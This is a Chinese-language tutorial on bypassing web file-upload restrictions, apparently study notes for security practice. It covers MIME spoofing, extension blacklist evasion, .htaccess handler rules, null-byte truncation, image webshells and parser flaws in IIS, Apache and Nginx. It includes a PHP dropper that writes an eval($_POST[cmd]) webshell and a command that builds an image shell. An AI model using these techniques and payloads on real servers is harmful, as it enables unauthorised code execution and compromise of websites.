前话:上传后的保存路径获取:可以抓包看上传包或者返回包中是否会包含路径,如果没有,若上传的文件如图片会回显在前端,可以f12查看源码找其链接。
1.基础篇
1.1 修改前端代码
添加需要上传的文件类型,如(php)
1.2 抓包修改后缀
先将木马文件改为可被允许的类型(如jpg),在通过抓包修改后缀
1.3 绕过MIME检测
有的时候需要修改 content/type字段为Content-Type:image/jpeg;来绕过检测MIME类型。
2.基础篇无法解决篇
2.1 绕过黑名单
2.1.1 通用
可以使用大小写(Php),双写(pphphp,只有黑名单中php被替换为空字符才可行),可解析特殊后缀(php3,需要.hatccess)来绕过。
2.1.2上传 .hatccess绕过
前提:需要apache支持,配置文件httpd.conf中LoadModule rewrite_module modules/mod_rewrite.so前的注释去掉,寻找关键词:AllowOverride,并把后面的参数从None全部改成All,且黑名单中不包含.hatccess
内容:AddType application/x-httpd-php .php .phtml .phps .php5 .pht
或<FilesMatch "4.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
注释:将特定文件名为4.jpg解析为php
2.1.3 服务器为Windows系统时
方法一:利用系统命名规则绕过,后缀跟空格’ ‘或‘.’,此时文件保存在windows系统中后缀仍为php)
方法二:利用windows数据流::$DATA
,在php+windows的情况下:如果文件名+”::$DATA
“会把::$DATA
之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA
“之前的文件名。
2.1 绕过白名单
2.1.1 00截断
方法一:%00截断
利用条件:
1、php版本小于5.3.4;
2、php.ini的magic_quotes_gpc为OFF状态
需要注意,保存路径参数在源码中用get传递,才能使用%00,否则应使用方法二。
方法二:0x00截断
条件:基本同%00,同时要求路径参数由post传递
步骤一:
步骤二:
发送该包上传成功,并保存为1.php
也可以直接在文件末尾添加%00,并选择转换,再发送该包
2.2.2 使用图片马
生成图片马:copy 1.jpg /b + shell.php /a shell.jpg
(将同一目录下的正常图片1.jpg同脚本文件shell.php合并,生成shell,jpg图片文件。)
2.2.2.1:图片马+文件包含漏洞
2.2.2.2:图片马+各类解析漏洞
类型一:IIS解析漏洞(常用)
IIS 5.X-6.X(执行asp文件)
参考链接
1.目录解析:
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
限制:需要存在一个asp结尾的文件夹,然后其内的文件才会被当作asp解析
2.文件解析(畸形后缀):*.asp;.jpg
像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 .asp文件执行。
3.解析文件类型:
这些版本的IIS还能直接执行test.asa、test.cer和test.cdx这三种类型的文件。
*IIS 7.0-7.5**
参考链接
形式一:www.xxxx.com/UploadFiles/image/1.jpg/1.php
原理:IIS7.0/7.5的漏洞,都是由于php配置文件中,开启了cgi.fix_pathinfo,所以当接收到/1.jpg/1.php(后面的1.php原本并不存在)参数时,会将1.jpg当做php文件解析。
步骤:先上传包含php代码(如<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>)
的图片1.jpg,随后使用菜刀连接其保存地址,将地址中文件名修改为1.jpg/xx.php,此时其会被当做php解析执行,生成shell.php的一句话木马。
形式二:www.xxxx.com/UploadFiles/image/a.aspx.a;.a.aspx.jpg..jpg
(这里是直接把文件命名为这样再上传)
类型二:Apache解析漏洞
参考链接
方法一:
形式:www.xxxx.xxx.com/test.php.xxxxx
(这里的xxx填写不可被apache解析的后缀如php3,rar等)
原理:Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
步骤:上传一个命名为test.php.rar
的文件,即可被解析为php
方法二(配置问题导致):
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php
这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg
即使扩展名是 jpg,一样能以 php 方式执行。
类型三:Nginx解析漏洞
nginx解析漏洞类似于IIS 7.0/7.5,利用形式表现为:www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
步骤:均是上传正常图片,访问的时候修改文件名来达到解析为php执行的目的。